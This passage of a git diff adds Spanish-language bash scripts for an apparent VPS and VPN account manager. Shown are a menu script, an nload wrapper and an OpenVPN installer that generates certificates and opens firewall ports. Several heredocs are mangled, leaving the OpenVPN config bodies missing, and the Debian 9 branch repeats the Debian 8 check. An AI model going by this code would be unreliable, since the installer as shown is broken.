-verd "[$2]") $(msg -verm2 ">") " && msg -azu "SOCKS PYTHON $(pid_inst python)";; +"v2ray.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -bra "V2ray Panel $(pid_inst v2ray)";; +"vdoray.sh")echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -ama "V2ray Manager $(pid_inst v2ray)";; +"PDirect.py")return 1;; +"PGet.py")return 1;; +"POpen.py")return 1;; +"PPriv.py")return 1;; +"PPub.py")return 1;; +"speedtest.py")return 1;; +*)echo -ne "$(msg -verd "[$2]") $(msg -verm2 ">") " && msg -azu "${1^^} \033[1;33m($(fun_trans "No hay una descripcion")!)";; +esac +} +ferramentas_fun () { +tput cuu1 && tput dl1 +msg -bar2 +msg -ama "$(fun_trans "MENU DE HERRAMIENTAS")" +msg -bar2 +local Numb=1 +for arqs in $(ls ${SCPfrm}); do +float_data "$arqs" "$Numb" && { + script[$Numb]="$arqs" + let Numb++ + } +done +echo -ne "$(msg -verd "[$Numb]") $(msg -verm2 ">") " && msg -azu "$(fun_trans "DETALLES DEL SISTEMA") $ofc" +script[$Numb]="systeminf" +let Numb++ +echo -ne "$(msg -verd "[$Numb]") $(msg -verm2 ">") " && msg -azu "$(fun_trans "LIMPIAR CACHE SISTEMA") $ofc" +script[$Numb]="limpar" +let Numb++ +echo -ne "$(msg -verd "[$Numb]") $(msg -verm2 ">") $(msg -ama "[!]") " && msg -verd "$(fun_trans "AGREGAR HERRAMIENTAS")" +script[$Numb]="agregar" +let Numb++ +echo -ne "$(msg -verd "[$Numb]") $(msg -verm2 ">") $(msg -ama "[!]") " && msg -verm2 "$(fun_trans "REMOVER HERRAMIENTAS")" +script[$Numb]="remove" +echo -ne "$(msg -verd "[0]") $(msg -verm2 ">") " && msg -bra "$(fun_trans "VOLVER")" +script[0]="voltar" +msg -bar2 +selection=$(selection_fun $Numb) +[[ -e "${SCPfrm}/${script[$selection]}" ]] && { + ${SCPfrm}/${script[$selection]} ${id} + } || { + case ${script[$selection]} in + "agregar")agregar_ferramenta;; + "remove")remove_ferramenta;; + "limpar")limpar_caches;; + "systeminf")systen_info;; + *)return 0;; + esac + } +} +# Menu Instala��o +pid_inst () { +[[ $1 = "" ]] && echo -e "\033[1;31m[off]" && return 0 +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +i=0 +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e ${portas[@]}|grep "$var1 $var2")" ]] || { + portas[$i]="$var1 $var2\n" + let i++ + } +done <<< "$portas_var" +[[ $(echo "${portas[@]}"|grep "$1") ]] && echo -e "\033[1;32m[on]" || echo -e "\033[1;31m[off]" +} +menu_inst () { +export -f fun_eth +export -f fun_bar +menuTXT="$(fun_trans "VOLVER")" +msg -ama "$(fun_trans "MENU DE INSTALACION")" +msg -bar +local Numb=1 +for arqs in $(ls ${SCPinst}); do +float_data "$arqs" "$Numb" && { + script[$Numb]="$arqs" + let Numb++ + } +done +echo -ne "$(msg -verd "[0]") $(msg -verm2 ">") " && msg -bra "$menuTXT" +msg -bar +script[0]="voltar" +selection=999 +selection=$(selection_fun $Numb) +[[ -e "${SCPinst}/${script[$selection]}" ]] && { + ${SCPinst}/${script[$selection]} ${id} + } || return 0 +} +# MENU FLUTUANTE +menu_func () { +local options=${#@} +local array +for((num=1; num<=$options; num++)); do +echo -ne "$(msg -verd "[$num]") $(msg -verm2 ">") " + array=(${!num}) + case ${array[0]} in + "-vd")msg -verd "$(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g';; + "-vm")msg -verm2 "$(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g';; + "-azc")msg -azuc "$(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g';; + "-rc")msg -rojoc "$(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g';; + "-am")msg -ama "$(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g';; + "-bl")msg -bra "$(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g';; + "-fi")msg -azu "$(fun_trans "${array[@]:2}") ${array[1]}" | sed ':a;N;$!ba;s/\n/ /g';; + *)msg -azu "$(fun_trans "${array[@]}")" | sed ':a;N;$!ba;s/\n/ /g';; + esac +done +} +# SISTEMA DE SELECAO +selection_fun () { +local selection="null" +local range +for((i=0; i<=$1; i++)); do range[$i]="$i "; done +while [[ ! $(echo ${range[*]}|grep -w "$selection") ]]; do +echo -ne "\033[1;37m$(fun_trans "Selecione una Opcion"): " >&2 +read selection +tput cuu1 >&2 && tput dl1 >&2 +done +echo $selection +} +on="\033[1;32m[ON]" && off="\033[1;31m[OFF]" +[[ $(ps x | grep badvpn | grep -v grep | awk '{print $1}') ]] && badvpn=$on || badvpn=$off +# EXECU��O MENU +export -f msg +export -f selection_fun +export -f fun_trans +export -f menu_func +export -f meu_ip +export -f fun_ip +clear +msg -bar +msg -ama "$(fun_trans "PUERTAS ACTIVAS E INFORMACIONES DEL SERVIDOR VPS!!")" +msg -bar +memorias +msg -bar +mine_port +echo "" +echo -e "\e[1;31mBADVPN:\e[0m" "$badvpn" +msg -bar +msg -ne "$(fun_trans "SISTEMA OPERATIVO"): " && msg -bra "$(os_system) " +msg -ne "$(fun_trans "DIRECCION DE LA MAQUINA"): " && msg -bra "$(meu_ip)" +[[ -e ${SCPdir}/USRonlines ]] && msg -ne "$(fun_trans "USUARIOS EN LINEA"): " && msg -bra "$(cat ${SCPdir}/USRonlines) $(fun_trans "Usuarios")" +[[ -e ${SCPdir}/USRexpired ]] && msg -ne "$(fun_trans "USUARIOS EXPIRADOS"): " && msg -bra "$(cat ${SCPdir}/USRexpired) $(fun_trans "Usuarios")" +[[ -e ${SCPdir}/message.txt ]] && msg -bar && msg -bra "MENSAJE: $(cat ${SCPdir}/message.txt)" +[[ -e ${SCPdir}/key.txt ]] && msg -bar && msg -bra "USER-KEY: $(cat ${SCPdir}/key.txt)" +# NOVO SISTEMA DE MENUS + +# SISTEMA DE HORA +_hora=$(printf '%(%H:%M:%S)T') +# \033[1;31mHORA: \033[1;37m$_hora + +msg -bar +msg -ama "$(fun_trans "MANAGER") \033[1;31m[\033[1;32m NEW-ULTIMATE \033[1;31m] \033[1;33m[\033[1;34m OFICIAL BY VENTAS-LEALDROID \033[1;33m] \033[1;31m[\033[1;37m$_hora\033[1;31m] " +msg -bar +menu_func "ADMINISTRAR USUARIOS" "HERRAMIENTAS" "MENU DE INSTALACIONES" "-vd ACTUALIZACION" "-vm DESINSTALAR" "-fi $AutoRun INICIO AUTOMATICO" "CAMBIAR IDIOMA" "CAMBIAR COLORES" "-azc WEB PANEL (sshplus)" +echo -ne "$(msg -verd "[0]") $(msg -verm2 ">") " && msg -bra "$(fun_trans "SALIR DEL SCRIPT")" +msg -bar +# FIM +selection=$(selection_fun 9) +case ${selection} in +1)${SCPusr}/usercodes "${idioma}";; +2)ferramentas_fun;; +3)menu_inst;; +4)atualiza_fun;; +5)remove_script;; +6)fun_autorun;; +7)funcao_idioma;; +8)canbio_color;; +9)${SCPfrm}/panelweb.sh "${idioma}";; +0)cd $HOME && exit 0;; +esac +msg -ne "$(fun_trans "Enter Para Continuar")" && read enter +${SCPdir}/menu \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/request/message.txt b/ADM-VENTAS-LEALDROID/request/message.txt new file mode 100644 index 0000000..e97e85a --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/message.txt @@ -0,0 +1 @@ +OFICIAL BY DANKELTHAHER FREE \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/request/nload.sh b/ADM-VENTAS-LEALDROID/request/nload.sh new file mode 100644 index 0000000..cb9e9d8 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/nload.sh @@ -0,0 +1,13 @@ +#!/bin/bash +Block="/etc/bin" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 +clear +cowsay -f eyes "Con esta herramienta puedes ver el trafico de red...." | lolcat +figlet ..dankelthaher.. | lolcat +echo -e "\e[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +echo -e "\033[1;31mPARA SALIR DEL PANEL PRESIONE CTLR+C \e[0m" +sleep 5s +echo -e "\e[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" + +nload + diff --git a/ADM-VENTAS-LEALDROID/request/openvpn.sh b/ADM-VENTAS-LEALDROID/request/openvpn.sh new file mode 100644 index 0000000..3257fc5 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/openvpn.sh @@ -0,0 +1,498 @@ +#!/bin/bash +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && exit +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPinst} ]] && exit +agrega_dns () { +msg -ama "$(fun_trans "Escriba el HOST DNS que desea agregar")" +read -p "[NewDNS]: " SDNS +cat /etc/hosts|grep -v "$SDNS" > /etc/hosts.bak && mv -f /etc/hosts.bak /etc/hosts +if [[ -e /etc/opendns ]]; then +cat /etc/opendns > /tmp/opnbak +mv -f /tmp/opnbak /etc/opendns +echo "$SDNS" >> /etc/opendns +else +echo "$SDNS" > /etc/opendns +fi +[[ -z $NEWDNS ]] && NEWDNS="$SDNS" || NEWDNS="$NEWDNS $SDNS" +unset SDNS +} +mportas () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} +dns_fun () { +case $1 in +3)dns[$2]='push "dhcp-option DNS 1.0.0.1"';; +4)dns[$2]='push "dhcp-option DNS 1.1.1.1"';; +5)dns[$2]='push "dhcp-option DNS 9.9.9.9"';; +6)dns[$2]='push "dhcp-option DNS 1.1.1.1"';; +7)dns[$2]='push "dhcp-option DNS 80.67.169.40"';; +8)dns[$2]='push "dhcp-option DNS 80.67.169.12"';; +9)dns[$2]='push "dhcp-option DNS 84.200.69.80"';; +10)dns[$2]='push "dhcp-option DNS 84.200.70.40"';; +11)dns[$2]='push "dhcp-option DNS 208.67.222.222"';; +12)dns[$2]='push "dhcp-option DNS 208.67.220.220"';; +13)dns[$2]='push "dhcp-option DNS 8.8.8.8"';; +14)dns[$2]='push "dhcp-option DNS 8.8.4.4"';; +15)dns[$2]='push "dhcp-option DNS 77.88.8.8"';; +16)dns[$2]='push "dhcp-option DNS 77.88.8.1"';; +17)dns[$2]='push "dhcp-option DNS 176.103.130.130"';; +18)dns[$2]='push "dhcp-option DNS 176.103.130.131"';; +esac +} +meu_ip () { +if [[ -e /etc/MEUIPADM ]]; then +echo "$(cat /etc/MEUIPADM)" +else +MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +MEU_IP2=$(wget -qO- ipv4.icanhazip.com) +[[ "$MEU_IP" != "$MEU_IP2" ]] && echo "$MEU_IP2" || echo "$MEU_IP" +echo "$MEU_IP2" > /etc/MEUIPADM +fi +} +IP="$(meu_ip)" +instala_ovpn () { +parametros_iniciais () { +#Verifica o Sistema +[[ "$EUID" -ne 0 ]] && echo "Lo siento, usted necesita ejecutar esto como root" && return 1 +[[ ! -e /dev/net/tun ]] && echo "TUN no esta disponible" && return 1 +if [[ -e /etc/debian_version ]]; then +OS="debian" +VERSION_ID=$(cat /etc/os-release | grep "VERSION_ID") +IPTABLES='/etc/iptables/iptables.rules' +[[ ! -d /etc/iptables ]] && mkdir /etc/iptables +[[ ! -e $IPTABLES ]] && touch $IPTABLES +SYSCTL='/etc/sysctl.conf' + [[ "$VERSION_ID" != 'VERSION_ID="7"' ]] && [[ "$VERSION_ID" != 'VERSION_ID="8"' ]] && [[ "$VERSION_ID" != 'VERSION_ID="9"' ]] && [[ "$VERSION_ID" != 'VERSION_ID="14.04"' ]] && [[ "$VERSION_ID" != 'VERSION_ID="16.04"' ]] && [[ "$VERSION_ID" != 'VERSION_ID="17.10"' ]] && [[ "$VERSION_ID" != 'VERSION_ID="18.04"' ]] && [[ "$VERSION_ID" != 'VERSION_ID="19.04"' ]] && { + echo " Su version de Debian / Ubuntu no es compatible." + while [[ $CONTINUE != @(y|Y|s|S|n|N) ]]; do + read -p "Continuar ? [y/n]: " -e CONTINUE + done + [[ "$CONTINUE" = @(n|N) ]] && exit 1 + } +else +msg -ama " $(fun_trans "Parece que usted no esta ejecutando este instalador en un sistema Debian o Ubuntu")" +msg -bar +return 1 +fi +#Pega Interface +NIC=$(ip -4 route ls | grep default | grep -Po '(?<=dev )(\S+)' | head -1) +msg -ama " $(fun_trans "Sistema preparado para recibir el OPENVPN")" +msg -bar +} +add_repo () { +#INSTALACAO E UPDATE DO REPOSITORIO +# Debian 7 +if [[ "$VERSION_ID" = 'VERSION_ID="7"' ]]; then +echo "deb http://build.openvpn.net/debian/openvpn/stable wheezy main" > /etc/apt/sources.list.d/openvpn.list +wget -O - https://swupdate.openvpn.net/repos/repo-public.gpg | apt-key add - > /dev/null 2>&1 +# Debian 8 +elif [[ "$VERSION_ID" = 'VERSION_ID="8"' ]]; then +echo "deb http://build.openvpn.net/debian/openvpn/stable jessie main" > /etc/apt/sources.list.d/openvpn.list +wget -O - https://swupdate.openvpn.net/repos/repo-public.gpg | apt-key add - > /dev/null 2>&1 +# Debian 9 +elif [[ "$VERSION_ID" = 'VERSION_ID="8"' ]]; then +echo "deb http://build.openvpn.net/debian/openvpn/stable stretch main" > /etc/apt/sources.list.d/openvpn.list +wget -O - https://swupdate.openvpn.net/repos/repo-public.gpg | apt-key add - > /dev/null 2>&1 +# Ubuntu 14.04 +elif [[ "$VERSION_ID" = 'VERSION_ID="14.04"' ]]; then +echo "deb http://build.openvpn.net/debian/openvpn/stable trusty main" > /etc/apt/sources.list.d/openvpn.list +wget -O - https://swupdate.openvpn.net/repos/repo-public.gpg | apt-key add - > /dev/null 2>&1 +# Ubuntu 14.04 +elif [[ "$VERSION_ID" = 'VERSION_ID="16.04"' ]]; then +echo "deb http://build.openvpn.net/debian/openvpn/stable trusty main" > /etc/apt/sources.list.d/openvpn.list +wget -O - https://swupdate.openvpn.net/repos/repo-public.gpg | apt-key add - > /dev/null 2>&1 +elif [[ "$VERSION_ID" = 'VERSION_ID="18.04"' ]]; then +echo "deb http://build.openvpn.net/debian/openvpn/stable bionic main" > /etc/apt/sources.list.d/openvpn.list +wget -O - https://swupdate.openvpn.net/repos/repo-public.gpg | apt-key add - > /dev/null 2>&1 +elif [[ "$VERSION_ID" = 'VERSION_ID="19.04"' ]]; then +echo "deb http://build.openvpn.net/debian/openvpn/stable bionic main" > /etc/apt/sources.list.d/openvpn.list +wget -O - https://swupdate.openvpn.net/repos/repo-public.gpg | apt-key add - > /dev/null 2>&1 +fi +} +coleta_variaveis () { +msg -azuc " $(fun_trans "Despues de terminar la confiuracion es necesario prender")" +msg -azuc " $(fun_trans "Openvpn, para esto solo entre nuevamente a la opcion de")" +msg -azuc " $(fun_trans "Openvpn en el menu de instalacion y aora selecione opcion 4")" + +msg -bar +msg -bra " $(fun_trans "Responde a las preguntas para iniciar la instalacion")" +msg -bra " $(fun_trans "Responde correctamente")" +msg -bar +msg -ama "$(fun_trans "En primer lugar necesitamos el ip de su maquina, esta ip esta correcta?")\033[0m" +msg -bar +read -p "IP address: " -e -i $IP IP +msg -bar +msg -ama "$(fun_trans "Que puerto desea utilizar?")" +msg -bar +read -p "Port: " -e -i 1194 PORT +msg -bar +echo -e "\033[1;31m$(fun_trans "Que protocolo desea para las conexiones OPENVPN?")" +echo -e "\033[1;31m$(fun_trans "A menos que el UDP este bloqueado, no debe utilizar TCP (es mas lento)")" +msg -bar +#PROTOCOLO +while [[ $PROTOCOL != @(UDP|TCP) ]]; do +read -p "Protocol [UDP/TCP]: " -e -i TCP PROTOCOL +done +[[ $PROTOCOL = "UDP" ]] && PROTOCOL=udp +[[ $PROTOCOL = "TCP" ]] && PROTOCOL=tcp +#DNS +msg -bar +msg -ama "$(fun_trans "Que DNS desea utilizar?")" +msg -bar +echo " 1) Utilizar patrones del sistema " +echo " 2) Cloudflare" +echo " 3) cuadrangulo" +echo " 4) FDN" +echo " 5) DNS.WATCH" +echo " 6) OpenDNS" +echo " 7) Google DNS" +echo " 8) Yandex Basic" +echo " 9) AdGuard DNS" +while [[ $DNS != @([1-9]) ]]; do +read -p "DNS [1-9]: " -e -i 1 DNS +done +#CIPHER +msg -bar +msg -ama "$(fun_trans "Elija que codificacion desea utilizar para el canal de datos:")" +msg -bar +echo " 1) AES-128-CBC" +echo " 2) AES-192-CBC" +echo " 3) AES-256-CBC" +echo " 4) CAMELLIA-128-CBC" +echo " 5) CAMELLIA-192-CBC" +echo " 6) CAMELLIA-256-CBC" +echo " 7) SEED-CBC" +while [[ $CIPHER != @([1-7]) ]]; do +read -p "Cipher [1-7]: " -e -i 1 CIPHER +done +case $CIPHER in +1) CIPHER="cipher AES-128-CBC";; +2) CIPHER="cipher AES-192-CBC";; +3) CIPHER="cipher AES-256-CBC";; +4) CIPHER="cipher CAMELLIA-128-CBC";; +5) CIPHER="cipher CAMELLIA-192-CBC";; +6) CIPHER="cipher CAMELLIA-256-CBC";; +7) CIPHER="cipher SEED-CBC";; +esac +msg -bar +msg -ama "$(fun_trans "Estamos listos para configurar su servidor OpenVPN")" +msg -bar +read -n1 -r -p "Enter to Continue..." +} +parametros_iniciais # BREVE VERIFICACAO +coleta_variaveis # COLETA VARIAVEIS PARA INSTALAO +add_repo # ATUALIZA REPOSITRIO OPENVPN E INSTALA OPENVPN +# Cria Diretorio +[[ ! -d /etc/openvpn ]] && mkdir /etc/openvpn +# Install openvpn +echo -ne "\033[1;31m[ ! ] apt-get update" +apt-get update -q > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +echo -ne "\033[1;31m[ ! ] apt-get install openvpn curl openssl" +sudo apt-get install openvpn easy-rsa > /dev/null 2>&1 && apt-get install curl > /dev/null 2>&1 && apt-get install openssl -y > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +SERVER_IP="$(meu_ip)" # IP Address +[[ -z "${SERVER_IP}" ]] && SERVER_IP=$(ip a | awk -F"[ /]+" '/global/ && !/127.0/ {print $3; exit}') +echo -ne "\033[1;31m[ ! ] Generating Server Config" # Gerando server.con +( +case $DNS in +1) +i=0 +grep -v '#' /etc/resolv.conf | grep 'nameserver' | grep -E -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | while read line; do +dns[$i]="push \"dhcp-option DNS $line\"" +done +[[ ! "${dns[@]}" ]] && dns[0]='push "dhcp-option DNS 8.8.8.8"' && dns[1]='push "dhcp-option DNS 8.8.4.4"' +;; +2)dns_fun 3 && dns_fun 4;; +3)dns_fun 5 && dns_fun 6;; +4)dns_fun 7 && dns_fun 8;; +5)dns_fun 9 && dns_fun 10;; +6)dns_fun 11 && dns_fun 12;; +7)dns_fun 13 && dns_fun 14;; +8)dns_fun 15 && dns_fun 16;; +9)dns_fun 17 && dns_fun 18;; +esac +echo 01 > /etc/openvpn/ca.srl +while [[ ! -e /etc/openvpn/dh.pem || -z $(cat /etc/openvpn/dh.pem) ]]; do +openssl dhparam -out /etc/openvpn/dh.pem 2048 &>/dev/null +done +while [[ ! -e /etc/openvpn/ca-key.pem || -z $(cat /etc/openvpn/ca-key.pem) ]]; do +openssl genrsa -out /etc/openvpn/ca-key.pem 2048 &>/dev/null +done +chmod 600 /etc/openvpn/ca-key.pem &>/dev/null +while [[ ! -e /etc/openvpn/ca-csr.pem || -z $(cat /etc/openvpn/ca-csr.pem) ]]; do +openssl req -new -key /etc/openvpn/ca-key.pem -out /etc/openvpn/ca-csr.pem -subj /CN=OpenVPN-CA/ &>/dev/null +done +while [[ ! -e /etc/openvpn/ca.pem || -z $(cat /etc/openvpn/ca.pem) ]]; do +openssl x509 -req -in /etc/openvpn/ca-csr.pem -out /etc/openvpn/ca.pem -signkey /etc/openvpn/ca-key.pem -days 365 &>/dev/null +done +cat > /etc/openvpn/server.conf <> /etc/openvpn/server.conf +} +) && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +echo -ne "\033[1;31m[ ! ] Generating CA Config" # Generate CA Config +( +while [[ ! -e /etc/openvpn/client-key.pem || -z $(cat /etc/openvpn/client-key.pem) ]]; do +openssl genrsa -out /etc/openvpn/client-key.pem 2048 &>/dev/null +done +chmod 600 /etc/openvpn/client-key.pem +while [[ ! -e /etc/openvpn/client-csr.pem || -z $(cat /etc/openvpn/client-csr.pem) ]]; do +openssl req -new -key /etc/openvpn/client-key.pem -out /etc/openvpn/client-csr.pem -subj /CN=OpenVPN-Client/ &>/dev/null +done +while [[ ! -e /etc/openvpn/client-cert.pem || -z $(cat /etc/openvpn/client-cert.pem) ]]; do +openssl x509 -req -in /etc/openvpn/client-csr.pem -out /etc/openvpn/client-cert.pem -CA /etc/openvpn/ca.pem -CAkey /etc/openvpn/ca-key.pem -days 365 &>/dev/null +done +) && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +teste_porta () { + echo -ne "\033[1;31m$(fun_trans "Verificando")" + sleep 1s + [[ ! $(mportas | grep "$1") ]] && { + echo -e "$(fun_trans "\033[1;33m [Puerta Invalida!]")" + } || { + echo -e "\033[1;32m [Pass]" + return 1 + } + } +msg -bar +msg -ama "$(fun_trans "Ahora Necesitamos la Puerta Que Esta Su Proxy Squid(Socks)")" +msg -ama "$(fun_trans "Si no existe Proxy en el puerto, un proxy Python sera abierto!")" +msg -bar +while [[ $? != "1" ]]; do +read -p "Confirme la puerta(Proxy): " -e -i 80 PPROXY +teste_porta $PPROXY +done +cat > /etc/openvpn/client-common.txt < /etc/iptables.conf +cat > /etc/network/if-up.d/iptables < /proc/sys/net/ipv4/ip_forward +# Regras de Firewall +if pgrep firewalld; then + if [[ "$PROTOCOL" = 'udp' ]]; then + firewall-cmd --zone=public --add-port=$PORT/udp + firewall-cmd --permanent --zone=public --add-port=$PORT/udp + elif [[ "$PROTOCOL" = 'tcp' ]]; then + firewall-cmd --zone=public --add-port=$PORT/tcp + firewall-cmd --permanent --zone=public --add-port=$PORT/tcp + fi +firewall-cmd --zone=trusted --add-source=10.8.0.0/24 +firewall-cmd --permanent --zone=trusted --add-source=10.8.0.0/24 +fi +if iptables -L -n | grep -qE 'REJECT|DROP'; then + if [[ "$PROTOCOL" = 'udp' ]]; then + iptables -I INPUT -p udp --dport $PORT -j ACCEPT + elif [[ "$PROTOCOL" = 'tcp' ]]; then + iptables -I INPUT -p tcp --dport $PORT -j ACCEPT + fi +iptables -I FORWARD -s 10.8.0.0/24 -j ACCEPT +iptables -I FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT +iptables-save > $IPTABLES +fi +if hash sestatus 2>/dev/null; then + if sestatus | grep "Current mode" | grep -qs "enforcing"; then + if [[ "$PORT" != '1194' ]]; then + if ! hash semanage 2>/dev/null; then + yum install policycoreutils-python -y + fi + if [[ "$PROTOCOL" = 'udp' ]]; then + semanage port -a -t openvpn_port_t -p udp $PORT + elif [[ "$PROTOCOL" = 'tcp' ]]; then + semanage port -a -t openvpn_port_t -p tcp $PORT + fi + fi + fi +fi +#Liberando DNS +msg -bar +msg -ama "$(fun_trans "Ultimo Paso, Configuraciones DNS")" +msg -bar +while [[ $DDNS != @(n|N) ]]; do +echo -ne "\033[1;33m" +read -p "Adicionar HOST DNS [S/N]: " -e -i n DDNS +[[ $DDNS = @(s|S|y|Y) ]] && agrega_dns +done +[[ ! -z $NEWDNS ]] && { +sed -i "/127.0.0.1[[:blank:]]\+localhost/a 127.0.0.1 $NEWDNS" /etc/hosts +for DENESI in $(echo $NEWDNS); do +sed -i "/remote ${SERVER_IP} ${PORT} ${PROTOCOL}/a remote ${DENESI} ${PORT} ${PROTOCOL}" /etc/openvpn/client-common.txt +done +} +msg -bar +# REINICIANDO OPENVPN +if [[ "$OS" = 'debian' ]]; then + if pgrep systemd-journal; then + sed -i 's|LimitNPROC|#LimitNPROC|' /lib/systemd/system/openvpn\@.service + sed -i 's|/etc/openvpn/server|/etc/openvpn|' /lib/systemd/system/openvpn\@.service + sed -i 's|%i.conf|server.conf|' /lib/systemd/system/openvpn\@.service + #systemctl daemon-reload + systemctl restart openvpn + systemctl enable openvpn + else + /etc/init.d/openvpn restart + fi +else + if pgrep systemd-journal; then + systemctl restart openvpn@server.service + systemctl enable openvpn@server.service + else + service openvpn restart + chkconfig openvpn on + fi +fi +service squid restart &>/dev/null +service squid3 restart &>/dev/null +apt-get install ufw -y > /dev/null 2>&1 +for ufww in $(mportas|awk '{print $2}'); do +ufw allow $ufww > /dev/null 2>&1 +done +msg -bar +msg -ama "$(fun_trans "Openvpn configurado con exito!")" +msg -ama "$(fun_trans "Ahora solo crear un usuario para generar un cliente!")" +msg -bar +return 0 +} +edit_ovpn_host () { +msg -ama "$(fun_trans "CONFIGURACION HOST DNS OPENVPN")" +msg -bar +while [[ $DDNS != @(n|N) ]]; do +echo -ne "\033[1;33m" +read -p "Add host [S/N]: " -e -i n DDNS +[[ $DDNS = @(s|S|y|Y) ]] && agrega_dns +done +[[ ! -z $NEWDNS ]] && sed -i "/127.0.0.1[[:blank:]]\+localhost/a 127.0.0.1 $NEWDNS" /etc/hosts +msg -bar +msg -ama " $(fun_trans "Es Necesario el Reboot del Servidor Para")" +msg -ama " $(fun_trans "Estas configuraciones son efectivas")" +msg -bar +} +fun_openvpn () { +[[ -e /etc/openvpn/server.conf ]] && { +unset OPENBAR +[[ $(mportas|grep -w "openvpn") ]] && OPENBAR="\033[1;32mOnline" || OPENBAR="\033[1;31mOffline" +msg -ama " $(fun_trans "OPENVPN ESTA INSTALADO")" +msg -bar +echo -e "\033[1;32m [1] >\033[1;36m $(fun_trans "Quitar Openvpn")" +echo -e "\033[1;32m [2] >\033[1;36m $(fun_trans "Editar Cliente Openvpn") \033[1;31m(comand nano)" +echo -e "\033[1;32m [3] >\033[1;36m $(fun_trans "Intercambiar Hosts de Openvpn")" +echo -e "\033[1;32m [4] >\033[1;36m $(fun_trans "Encender o Parar OPENVPN") $OPENBAR" +msg -bar +while [[ $xption != @([1|2|3|4]) ]]; do +echo -ne "\033[1;33m $(fun_trans "Opcion"): " && read xption +tput cuu1 && tput dl1 +done +case $xption in +1) +msg -bar +msg -ama " $(fun_trans "DESINSTALAR OPENVPN")" +msg -bar + if [[ "$OS" = 'debian' ]]; then + fun_bar "apt-get remove --purge -y openvpn openvpn-blacklist" + else + fun_bar "yum remove openvpn -y" + fi + tuns=$(cat /etc/modules | grep -v tun) && echo -e "$tuns" > /etc/modules + rm -rf /etc/openvpn && rm -rf /usr/share/doc/openvpn* + msg -bar + msg -ama " $(fun_trans "Procedimiento completado")" + msg -bar + return 0;; + 2) + nano /etc/openvpn/client-common.txt + return 0;; + 3)edit_ovpn_host;; + 4) + [[ $(mportas|grep -w openvpn) ]] && { + ps x |grep openvpn |grep -v grep|awk '{print $1}' | while read pid; do kill -9 $pid; done + killall openvpn &>/dev/null + systemctl stop openvpn@server.service &>/dev/null + service openvpn stop &>/dev/null + } || { + cd /etc/openvpn + screen -dmS ovpnscr openvpn --config "server.conf" > /dev/null 2>&1 + cd $HOME + } + msg -ama " $(fun_trans "Exito Procedimiento Hecho")" + msg -bar + return 0;; + esac + exit + } +[[ -e /etc/squid/squid.conf ]] && instala_ovpn && return 0 +[[ -e /etc/squid3/squid.conf ]] && instala_ovpn && return 0 +msg -bar +msg -ama " $(fun_trans "Squid No Encontrado")" +msg -ama " $(fun_trans "Continuar Con Instalacion?")" +msg -bar +read -p " [S/N]: " -e -i n instnosquid && [[ $instnosquid = @(s|S|y|Y) ]] && instala_ovpn || return 1 +} +no_port () { +msg -ama " $(fun_trans "Antes de instalar openvpn Instalar un Squid")" +msg -bar +msg -ama " $(fun_trans "o Abra un Proxy Socket")" +msg -bar +exit 1 +} +[[ -z $(mportas|grep squid) ]] && [[ -z $(mportas|grep python) ]] && no_port +fun_openvpn diff --git a/ADM-VENTAS-LEALDROID/request/optimizar.sh b/ADM-VENTAS-LEALDROID/request/optimizar.sh new file mode 100644 index 0000000..adf2496 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/optimizar.sh @@ -0,0 +1,129 @@ +#!/bin/bash +clear +fun_bar () { +comando[0]="$1" +comando[1]="$2" + ( +[[ -e $HOME/fim ]] && rm $HOME/fim +${comando[0]} -y > /dev/null 2>&1 +${comando[1]} -y > /dev/null 2>&1 +touch $HOME/fim + ) > /dev/null 2>&1 & + tput civis +echo -ne " \033[1;33mESPERE UN MOMENTO... \033[1;37m- \033[1;33m[" +while true; do + for((i=0; i<18; i++)); do + echo -ne "\033[1;31m#" + sleep 0.1s + done + [[ -e $HOME/fim ]] && rm $HOME/fim && break + echo -e "\033[1;33m]" + sleep 1s + tput cuu1 + tput dl1 + echo -ne " \033[1;33mESPERE UN MOMENTO...\033[1;37m- \033[1;33m[" 